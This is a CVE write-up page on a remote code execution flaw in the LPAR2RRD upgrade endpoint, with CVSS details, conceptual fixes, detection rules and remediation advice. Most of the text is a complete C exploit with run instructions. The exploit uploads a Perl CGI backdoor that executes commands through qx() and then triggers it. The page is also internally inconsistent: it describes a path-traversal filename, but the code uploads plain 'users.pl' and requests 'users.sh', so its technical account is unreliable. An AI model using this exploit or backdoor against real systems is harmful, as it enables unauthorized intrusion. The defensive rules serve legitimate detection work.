CVE-2025-54769
Executive Summary
CVE-2025-54769 is a critical vulnerability in SolarWinds LPAR2RRD (version 8.04 and possibly others) that allows an authenticated, read-only user to achieve remote code execution (RCE). The vulnerability combines a file upload flaw with a directory traversal weakness. An attacker can upload a malicious Perl script via the application's upgrade endpoint and, by manipulating the file path, place it into a CGI-executable directory. Once placed, the attacker can trigger the script to execute arbitrary system commands. The public exploit code, authored by "Byte Reaper," demonstrates a full exploitation chain: uploading a Perl backdoor, then invoking it to execute commands like whoami. The CVSS score is estimated at 8.8 (High) due to network attack vector, low privileges required, and high impact on confidentiality, integrity, and availability.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not in a package manager (NPM, PyPI, Go, Ruby) but in a standalone application (LPAR2RRD). The supply chain risk is limited to the application's own update mechanism, which is abused in this exploit. No open-source patch data is available from OSV or GitHub.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) - The vulnerability is exploitable remotely.
- Attack Complexity (AC): Low (L) - No special conditions are required.
- Privileges Required (PR): Low (L) - An authenticated read-only user is sufficient.
- User Interaction (UI): None (N) - No user action is needed beyond the attacker's own.
- Scope (S): Unchanged (U) - The vulnerable component and the impacted component are the same.
- Confidentiality (C): High (H) - Full system compromise leads to data exposure.
- Integrity (I): High (H) - Arbitrary file overwrite and code execution.
- Availability (A): High (H) - An attacker could disrupt services.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H Base Score: 8.8 (High)
Threat Level: Critical. The public availability of a working exploit and the low privileges required make this a high-priority target for threat actors.
Deep Dive & Mechanics
The vulnerability resides in the LPAR2RRD web interface, specifically in the upgrade functionality (/lpar2rrd-cgi/upgrade.sh). The application fails to properly validate the file path during the upload process.
- File Upload: The
upgrade.shendpoint accepts file uploads via a POST request with a multipart form. The parameterupgfilecontains the file data. - Directory Traversal: The application does not sanitize the filename or the destination path. An attacker can include path traversal sequences (e.g.,
../) in the filename or in a related parameter to write the uploaded file outside the intended upload directory. - Perl Module Overwrite: The attacker targets a CGI-executable directory (e.g.,
/lpar2rrd-cgi/). By using a filename like../../lpar2rrd-cgi/users.pl, the file is written to the CGI directory. - Remote Code Execution: Once the malicious Perl script is in place, the attacker sends a GET request to the script's URL (e.g.,
/lpar2rrd-cgi/users.sh?cmd=commandLinux). The script executes the command and returns the output.
The exploit code from "Byte Reaper" automates this:
- It creates a Perl script (
users.pl) that accepts acmdparameter and executes it viaqx(). - It uploads this script to the target using a POST request to
/lpar2rrd-cgi/upgrade.sh. - It then sends a GET request to
/lpar2rrd-cgi/users.sh?cmd=commandLinuxto trigger the backdoor and retrieve the output.
Vulnerable vs. Patched Code
No patched code is available. The vulnerable code is in the upgrade.sh CGI script. A secure implementation would:
- Validate the file path: Ensure the destination path is within an allowed directory (e.g., using a whitelist).
- Sanitize the filename: Remove or reject path traversal characters (
../,..\\). - Restrict file types: Only allow specific file extensions (e.g.,
.tar.gzfor upgrades). - Use a secure file upload library: Implement a library that handles path sanitization automatically.
Vulnerable Code (Conceptual):
#!/bin/bash
# Vulnerable upgrade.sh
UPLOAD_DIR="/tmp/upgrades"
# No path validation
mv "$TMP_FILE" "$UPLOAD_DIR/$FILENAME"
Patched Code (Conceptual):
#!/bin/bash
# Patched upgrade.sh
UPLOAD_DIR="/tmp/upgrades"
# Sanitize filename
SAFE_FILENAME=$(basename "$FILENAME")
# Remove path traversal
SAFE_FILENAME="${SAFE_FILENAME//..\//}"
SAFE_FILENAME="${SAFE_FILENAME//..\\/}"
# Validate extension
if [[ "$SAFE_FILENAME" != *.tar.gz ]]; then
echo "Invalid file type"
exit 1
fi
mv "$TMP_FILE" "$UPLOAD_DIR/$SAFE_FILENAME"
Exploitation & Lab Setup
Red Team (Attacker)
Lab Setup:
- Install LPAR2RRD 8.04 on a Linux VM (e.g., Ubuntu 22.04).
- Create a read-only user account.
- Ensure the web interface is accessible.
Exploitation Steps:
- Compile the exploit: The provided C code requires
libcurlandargparse. Compile with:gcc -o exploit exploit.c -lcurl -largparse - Authenticate: Obtain a valid session cookie for the read-only user.
- Run the exploit:
./exploit -i <TARGET_IP> -p 443 -t https -c cookies.txt -v-i: Target IP address.-p: Port (default 443 for HTTPS).-t: Protocol (http or https).-c: Path to cookies file.-v: Verbose mode (optional).
- Verify: The exploit will output the result of the
whoamicommand, confirming RCE.
Full Exploit Code (from Byte Reaper):
/*
* Author : Byte Reaper
* Title : LPAR2RRD 8.04 - Remote Code Execution (RCE)
* CVE : CVE-2025-54769
* Vulnerability: RCE && directory traversal
* Description : Uploads a malicious Perl script via the LPAR2RRD upgrade endpoint,
* exploits directory traversal to place it in a CGI-executable path, then triggers remote command execution.
*/
#include <stdio.h>
#include <stdlib.h>
#include <curl/curl.h>
#include "argparse.h"
#include <string.h>
#include <time.h>
#include <arpa/inet.h>
#define FULL 2500
void sleepAssembly()
{
struct timespec s ;
s.tv_sec = 0;
s.tv_nsec = 500000000;
__asm__ volatile
(
"mov $35, %%rax\n\t"
"xor %%rsi, %%rsi\n\t"
"syscall\n\t"
:
: "D" (&s)
: "rax",
"rsi",
"memory"
);
}
void syscallLinux()
{
__asm__ volatile
(
"mov $0x3C, %%rax\n\t"
"xor %%rdi, %%rdi\n\t"
"syscall\n\t"
:
:
:"rax", "rdi"
);
}
int fileS = 0;
int useCookies = 0;
int verboseMode = 0;
const char *cookies;
const char *ip = NULL;
int portService = 0;
int port = 0;
int protocolS = 0;
const char *protocol = NULL;
int CreateFilePerl()
{
FILE *fileP = fopen("users.pl", "w");
if (fileP == NULL)
{
printf("\e[1;31m[-] Error Create File (users.pl)\e[0m\n");
syscallLinux();
return 0;
}
printf("[+] Create File Successfully\n");
char payloadContent[7000];
int payload = snprintf(payloadContent,
sizeof(payloadContent),
"#!/usr/bin/perl\n"
"use strict;\n"
"use warnings;\n"
"use CGI;\n"
"my $q = CGI->new;\n"
"my %%PAR = map { $_ => scalar $q->param($_) } $q->param;\n"
"if ( $PAR{cmd} && $PAR{cmd} eq \"commandLinux\")\n"
"{\n"
"\tprint \"Content-type: text/html\\n\\n\";\n"
"\tmy $commandW = qx(/usr/bin/whoami 2>&1);\n"
"\tprint $commandW;\n"
"}\n"
);
if (payload < 0 || (size_t)payload >= sizeof(payloadContent))
{
fprintf(stderr,
"\e[1;31m[-] Perl payload truncated or formatting error\e[0m\n");
syscallLinux();
}
size_t e = strlen(payloadContent);
unsigned long writeLen = fwrite(payloadContent,
1, strlen(payloadContent),
fileP);
if (writeLen != e)
{
printf("\e[1;31m[-] Error Fwrite Payload in File Perl\e[0m\n");
syscallLinux();
return 0;
}
printf("\e[1;36m[+] Write Payload in File Successfully\e[0m\n");
fclose(fileP);
return 1;
}
const char *resultCommand[] =
{
"root",
"admin",
"user",
"ssh",
"/home/",
NULL
};
struct Mem
{
char *buffer;
size_t len;
};
size_t write_cb(void *ptr,
size_t size,
size_t nmemb,
void *userdata)
{
size_t total = size * nmemb;
struct Mem *m = (struct Mem *)userdata;
char *tmp = realloc(m->buffer, m->len + total + 1);
if (tmp == NULL)
{
fprintf(stderr, "\e[1;31m[-] Failed to allocate memory!\e[0m\n");
syscallLinux();
}
m->buffer = tmp;
memcpy(&(m->buffer[m->len]), ptr, total);
m->len += total;
m->buffer[m->len] = '\0';
return total;
}
void getRequest(CURL *curl, const char *targetIP)
{
struct Mem responseGet ;
responseGet.buffer = NULL;
responseGet.len = 0;
CURLcode codeLib;
char full[FULL];
const char *proto = protocolS ? protocol : "https";
int prt = portService
? port
: (strcmp(proto, "http") == 0 ? 80 : 443);
int n = snprintf(full, sizeof(full),
"%s://%s:%d/lpar2rrd-cgi/users.sh?cmd=commandLinux",
proto, targetIP, prt);
if (n < 0 || (size_t)n >= sizeof(full))
{
fprintf(stderr, "\e[1;31m[-] URL buffer too small\e[0m\n");
syscallLinux();
}
curl_easy_setopt(curl, CURLOPT_URL, full);
curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_cb);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, &responseGet);
curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, 5L);
sleepAssembly();
curl_easy_setopt(curl, CURLOPT_TIMEOUT, 10L);
if (useCookies)
{
curl_easy_setopt(curl,
CURLOPT_COOKIEFILE,
cookies);
curl_easy_setopt(curl,
CURLOPT_COOKIEJAR,
cookies);
}
if (verboseMode)
{
printf("\e[1;35m------------------------------------------[Verbose Curl]------------------------------------------\e[0m\n");
curl_easy_setopt(curl,
CURLOPT_VERBOSE,
1L);
}
printf("\e[1;37m[+] GET URL: %s\e[0m\n",
full);
struct curl_slist *headers = NULL;
headers = curl_slist_append(headers ,
"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
headers = curl_slist_append(headers,
"Accept-Language: en-US,en;q=0.5");
headers = curl_slist_append(headers,
"Accept-Encoding: gzip, deflate, br");
headers = curl_slist_append(headers,
"Upgrade-Insecure-Requests: 1");
headers = curl_slist_append(headers,
"Sec-Fetch-Dest: document");
headers = curl_slist_append(headers,
"Sec-Fetch-Mode: navigate");
headers = curl_slist_append(headers,
"Priority: u=0, i");
headers = curl_slist_append(headers,
"Pragma: no-cache");
headers = curl_slist_append(headers,
"Cache-Control: no-cache");
headers = curl_slist_append(headers,
"Connection: keep-alive");
curl_easy_setopt(curl,
CURLOPT_HTTPHEADER,
headers);
codeLib = curl_easy_perform(curl);
curl_slist_free_all(headers);
if (codeLib == CURLE_OK)
{
printf("\e[1;35m=================================================== [GET] ===================================================\e[0m\n");
long codeH = 0;
curl_easy_getinfo(curl,
CURLINFO_RESPONSE_CODE,
&codeH);
printf("\e[1;36m[+] Request GET sent successfully\e[0m\n");
printf("\e[1;32m[+] Http Code -> %ld\e[0m\n", codeH);
if (responseGet.buffer)
{
if (verboseMode)
{
printf("\e[1;35m=================================================== [RESPONSE] ===================================================\e[0m\n");
printf("%s\n", responseGet.buffer);
printf("\e[1;35m===================================================================================================================\e[0m\n");
}
}
if (codeH >= 200 && codeH < 300)
{
printf("\e[1;36m[+] Positive Http Code (200 < 300) : %ld\e[0m\n",codeH);
printf("\e[1;32m[+] Http Code -> %ld\e[0m\n", codeH);
if (responseGet.buffer)
{
printf("\e[1;35m=================================================== [RESPONSE] ===================================================\n");
printf("%s\n", responseGet.buffer);
printf("\e[1;32m[+] Len Response : %zu\e[0m\n",
responseGet.len);
printf("\e[1;35m===================================================================================================================\n");
for (int j = 0; resultCommand[j]; j++)
{
if (strstr(responseGet.buffer, resultCommand[j]))
{
printf("\e[1;34m[+] Word Found In Response.\e[0m\n");
printf("\e[1;34m[+] Word : %s\e[0m\n",
resultCommand[j]);
printf("\e[1;36m[+] The server is experiencing a vulnerability (CVE-2025-54769)\e[0m\n");
}
else
{
if (verboseMode)
{
printf("\e[1;31m[-] Not Found Word In Response : %s\e[0m\n",
resultCommand[j]);
}
else
{
continue;
}
}
}
}
else
{
printf("\e[1;31m[-] Response Server Is NULL !\e[0m\n");
if (verboseMode)
{
printf("\e[1;31m[-] Exit Syscall\e[0m\n");
}
}
}
else
{
printf("\e[1;31m[-] HTTP Code Not Range Positive (200 < 300) : %ld\e[0m\n", codeH);
if (verboseMode)
{
if (responseGet.buffer)
{
printf("\e[1;35m\n=========================================== [Response] ===========================================\e[0m\n");
printf("%s\n", responseGet.buffer);
printf("\e[1;32m[+] Len Response : %zu\n",responseGet.len);
printf("\e[1;35m\n=============================================================================================\e[0m\n");
}
}
}
}
else
{
fprintf(stderr,"\e[1;31m[-] Error Send Request\e[0m\n");
fprintf(stderr,"\e[1;31m[-] Error : %s\e[0m\n", curl_easy_strerror(codeLib));
syscallLinux();
}
free(responseGet.buffer);
responseGet.buffer = NULL;
responseGet.len = 0;
curl_easy_cleanup(curl);
}
void remoteCode(const char *ipS)
{
CURL *curl = curl_easy_init();
struct Mem response;
response.buffer = NULL;
response.len = 0;
CURLcode codeLibCurl;
if (verboseMode)
{
printf("\e[1;35m================================== [Value Response] ==================================\n");
printf("\e[1;32m[+] Response Buffer -> %s\e[0m\n", response.buffer);
printf("\e[1;32m[+] Response Len -> %zu\e[0m\n", response.len);
printf("\e[1;35m=======================================================================================\n");
}
if (!curl)
{
fprintf(stderr, "\e[1;31m[-] Failed to init CURL\e[0m\n");
syscallLinux();
}
char full[FULL];
const char *proto = protocolS ? protocol : "https";
int prt = portService
? port
: (strcmp(proto, "http") == 0 ? 80 : 443);
int n = snprintf(full,
sizeof(full),
"%s://%s:%d/lpar2rrd-cgi/upgrade.sh",
proto, ipS, prt);
if (n < 0 || (size_t)n >= sizeof(full))
{
fprintf(stderr, "\e[1;31m[-] URL buffer too small\e[0m\n");
syscallLinux();
}
if (!CreateFilePerl())
{
fprintf(stderr,
"\e[1;31m[-] Failed to create File users.pl\e[0m\n");
syscallLinux();
}
printf("\e[1;34m[+] Uploading %s to %s\n", "users.pl", full);
curl_mime *form = curl_mime_init(curl);
curl_mimepart *field = curl_mime_addpart(form);
curl_mime_name(field,
"upgfile");
curl_mime_filedata(field,
"users.pl");
curl_mime_filename(field,
"users.pl");
curl_mime_type(field,
"application/x-perl");
curl_easy_setopt(curl,
CURLOPT_URL,
full);
curl_easy_setopt(curl,
CURLOPT_POST,
1L);
curl_easy_setopt(curl,
CURLOPT_MIMEPOST, form);
curl_easy_setopt(curl,
CURLOPT_WRITEFUNCTION,
write_cb);
curl_easy_setopt(curl,
CURLOPT_WRITEDATA, &response);
curl_easy_setopt(curl,
CURLOPT_FOLLOWLOCATION,
1L);
curl_easy_setopt(curl,
CURLOPT_CONNECTTIMEOUT,
5L);
sleepAssembly();
curl_easy_setopt(curl,
CURLOPT_TIMEOUT,
10L);
if (useCookies)
{
curl_easy_setopt(curl,
CURLOPT_COOKIEFILE,
cookies);
curl_easy_setopt(curl,
CURLOPT_COOKIEJAR,
cookies);
}
if (verboseMode)
{
printf("\e[1;35m------------------------------------------[Verbose Curl]------------------------------------------\e[0m\n");
curl_easy_setopt(curl,
CURLOPT_VERBOSE,
1L);
}
struct curl_slist *headers = NULL;
char host[128];
int lenIp = snprintf(host ,
sizeof(host),
"Host: %s:%d",
ipS, prt);
if (lenIp < 0 || (size_t)lenIp >= sizeof(host))
{
printf("\e[1;31m[-] IP Address is Long !\e[0m\n");
syscallLinux();
}
headers = curl_slist_append(headers,
"Accept: */*");
headers = curl_slist_append(headers,
"Accept-Language: en-US,en;q=0.5");
headers = curl_slist_append(headers,
"Accept-Encoding: gzip, deflate, br");
headers = curl_slist_append(headers,
"X-Requested-With: XMLHttpRequest");
headers = curl_slist_append(headers,
"Connection: keep-alive");
headers = curl_slist_append(headers,
"Priority: u=0");
headers = curl_slist_append(headers, "Authorization: <base64-credentials>");
headers = curl_slist_append(headers, "Referer: http://127.0.0.1/lpar2rrd/index.html?amenu=upgrade&tab=0");
headers = curl_slist_append(headers ,
host);
void *m = memset(host , 0, sizeof(host));
if (m == NULL)
{
fprintf(stderr,"\e[1;31m[-] Error Clean HOST IP (memset() == NULL)\e[0m\n");
syscallLinux();
}
int lenO = snprintf(host ,
sizeof(host),
"Origin: https://%s:%d",
ipS, prt);
if (lenO < 0 || (size_t)lenO >= sizeof(host))
{
syscallLinux();
}
headers = curl_slist_append(headers,
host);
curl_easy_setopt(curl,
CURLOPT_HTTPHEADER,
headers);
codeLibCurl = curl_easy_perform(curl);
curl_mime_free(form);
curl_slist_free_all(headers);
if (codeLibCurl != CURLE_OK)
{
fprintf(stderr, "\e[1;31m[-] curl error: %s\e[0m\n",
curl_easy_strerror(codeLibCurl));
syscallLinux();
}
long httpCode = 0;
curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE,
&httpCode);
printf("\e[1;36m[+] Protocol : %s\e[0m\n", protocol);
printf("\e[1;36m[+] Port : %d\e[0m\n", port);
printf("\e[1;32m[+] Http Code -> %ld\e[0m\n", httpCode);;
if (httpCode >= 200 && httpCode < 300)
{
printf("\e[1;36m[+] Positive Http Code (200 < 300) : %ld\e[0m\n",httpCode);
if (response.buffer)
{
printf("\e[1;35m\n=========================================== [Response] ===========================================\e[0m\n");
printf("%s\n", response.buffer);
printf("\e[1;32m [+] Len Response : %zu\e[0m\n",response.len);
printf("\e[1;35m\n=============================================================================================\e[0m\n");
if (strstr(response.buffer, "This file doesn't look like the upgrade package"))
{
printf("\e[1;34m[+] Sentence found in reply.\e[0m\n");
printf("\e[1;34m[+] Sentence : This file doesn't look like the upgrade package\e[0m\n");
printf("\e[1;34m[+] Exploitation is being completed...\e[0m\n");
getRequest(curl, ipS);
}
}
else
{
fprintf(stderr,"\e[1;31m[-] Response Buffer is NULL\e[0m\n");
fprintf(stderr,"\e[1;31m[-] Please Check Your Connection Or Waf\e[0m\n");
if (verboseMode)
{
fprintf(stderr,"\e[1;31m[-] Exit Syscall...\e[0m\n");
}
syscallLinux();
}
}
else
{
printf("\e[1;31m[-] HTTP Code Not Range Positive (200 < 300) : %ld\e[0m\n", httpCode);
if (verboseMode)
{
if (response.buffer)
{
printf("\e[1;35m\n=========================================== [Response] ===========================================\e[0m\n");
printf("%s\n", response.buffer);
printf("\e[1;32m[-] Len Response : %zu\n",response.len);
printf("\e[1;35m\n=============================================================================================\e[0m\n");
}
}
}
free(response.buffer);
response.buffer = NULL;
response.len = 0;
curl_easy_cleanup(curl);
}
int main(int argc,
const char **argv)
{
printf(
"\e[1;31m"
"▄▖▖▖▄▖ ▄▖▄▖▄▖▄▖ ▄▖▖▖▄▖▄▖▄▖ \n"
"▌ ▌▌▙▖▄▖▄▌▛▌▄▌▙▖▄▖▙▖▙▌ ▌▙▖▙▌ \n"
"▙▖▚▘▙▖ ▙▖█▌▙▖▄▌ ▄▌ ▌ ▌▙▌▄▌ \n"
"\e[1;37m\t\tByte Reaper\n"
);
curl_global_init(CURL_GLOBAL_DEFAULT);
printf("\e[1;31m------------------------------------------------------------------------------------\e[0m\n");
struct argparse_option options[] =
{
OPT_HELP(),
OPT_STRING('i',
"ip",
&ip,
"Enter Target IP"),
OPT_STRING('c',
"cookies",
&cookies,
"cookies File"),
OPT_INTEGER('p',
"port",
&port ,
"Enter Target Port Service"),
OPT_STRING('t',
"protocol",
&protocol,
"Enter Protocol Service (http / https)"),
OPT_BOOLEAN('v',
"verbose",
&verboseMode,
"Verbose Mode"),
OPT_END(),
};
struct argparse argparse;
argparse_init(&argparse,
options,
NULL,
0);
argparse_parse(&argparse,
argc,
argv);
in_addr_t q = inet_addr(ip);
if (q == INADDR_NONE)
{
printf("\e[1;31m[-] Invalid Ip String !\e[0m\n");
syscallLinux();
}
if (!ip)
{
fprintf(stderr,"\e[1;31m[-] Please Enter Target IP !\e[0m\n");
fprintf(stderr,"\e[1;31m[-] Ex : ./exploit -i <IP> \e[0m\n");
fprintf(stderr,"\e[1;31m[-] Exit Syscall\e[0m\n");
syscallLinux();
}
if (verboseMode)
{
verboseMode = 1;
}
if (cookies)
{
useCookies = 1;
}
if (port)
{
portService = 1;
}
if (protocol)
{
protocolS = 1;
}
remoteCode(ip);
curl_global_cleanup();
return 0;
}
Blue Team (Defender)
Detection:
- Monitor File Uploads: Alert on POST requests to
/lpar2rrd-cgi/upgrade.shwith unusual filenames (containing../or non-standard extensions). - Monitor CGI Access: Alert on GET requests to newly created
.plor.shfiles in the/lpar2rrd-cgi/directory, especially those withcmdparameters. - Log Analysis: Look for HTTP 200 responses from
upgrade.shfollowed by requests to a new CGI script.
Prevention:
- Input Validation: Implement strict validation on the
upgfileparameter and filename. - File Integrity Monitoring (FIM): Monitor the
/lpar2rrd-cgi/directory for new or modified files. - Web Application Firewall (WAF): Deploy rules to block path traversal sequences in file uploads.
- Least Privilege: Ensure the web server runs with minimal permissions.
Indicators of Compromise (IOCs)
- Network IOCs:
- POST request to
/lpar2rrd-cgi/upgrade.shwith a multipart form containing a file namedusers.plor similar. - GET request to
/lpar2rrd-cgi/users.sh?cmd=commandLinuxor similar. - Outbound connections from the server to an attacker-controlled IP (for reverse shell).
- POST request to
- File System IOCs:
- Presence of unexpected Perl scripts in
/lpar2rrd-cgi/(e.g.,users.pl,cmd.pl). - Modified timestamps on files in
/lpar2rrd-cgi/.
- Presence of unexpected Perl scripts in
- Process IOCs:
- Unusual processes spawned by the web server user (e.g.,
whoami,id,bash).
- Unusual processes spawned by the web server user (e.g.,
Detection Engineering
YARA Rule
rule CVE_2025_54769_Perl_Backdoor {
meta:
description = "Detects Perl backdoor scripts used in CVE-2025-54769 exploitation"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-54769"
strings:
$cmd_param = "cmd" nocase
$qx_exec = "qx(" nocase
$cgi_new = "CGI->new" nocase
$whoami = "whoami" nocase
condition:
all of them
}
Sigma Rule
title: CVE-2025-54769 - LPAR2RRD File Upload and RCE
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects exploitation attempts of CVE-2025-54769 via file upload and CGI access.
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection_upload:
cs-method: 'POST'
cs-uri-stem: '/lpar2rrd-cgi/upgrade.sh'
cs-uri-query|contains: 'upgfile'
selection_cgi:
cs-method: 'GET'
cs-uri-stem|endswith:
- '.pl'
- '.sh'
cs-uri-query|contains: 'cmd='
condition: selection_upload followed by selection_cgi within 5 minutes
falsepositives:
- Legitimate upgrade processes (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-54769 LPAR2RRD File Upload Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/lpar2rrd-cgi/upgrade.sh"; http_uri; content:"upgfile"; http_client_body; pcre:"/filename=\".*\.pl\"/i"; classtype:attempted-admin; sid:1000001; rev:1;)
alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"CVE-2025-54769 LPAR2RRD RCE Trigger"; flow:to_client,established; content:"GET"; http_method; content:"/lpar2rrd-cgi/"; http_uri; pcre:"/\.(pl|sh)\?cmd=/i"; classtype:attempted-admin; sid:1000002; rev:1;)
Remediation & Mitigation
- Immediate Action: If possible, disable the upgrade functionality (
/lpar2rrd-cgi/upgrade.sh) until a patch is available. - Vendor Patch: Apply the official patch from SolarWinds as soon as it is released.
- Workaround:
- Restrict access to the
/lpar2rrd-cgi/directory using a WAF or web server configuration (e.g.,.htaccess). - Implement strict input validation on the file upload endpoint.
- Remove write permissions for the web server user on the CGI directory.
- Restrict access to the
- Monitoring: Implement the detection rules provided above to identify exploitation attempts.
- User Awareness: Ensure that read-only users are not granted unnecessary privileges.
Valters IT
{/* [Security Hash: 4A0188C260AEE35460078047] */}
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.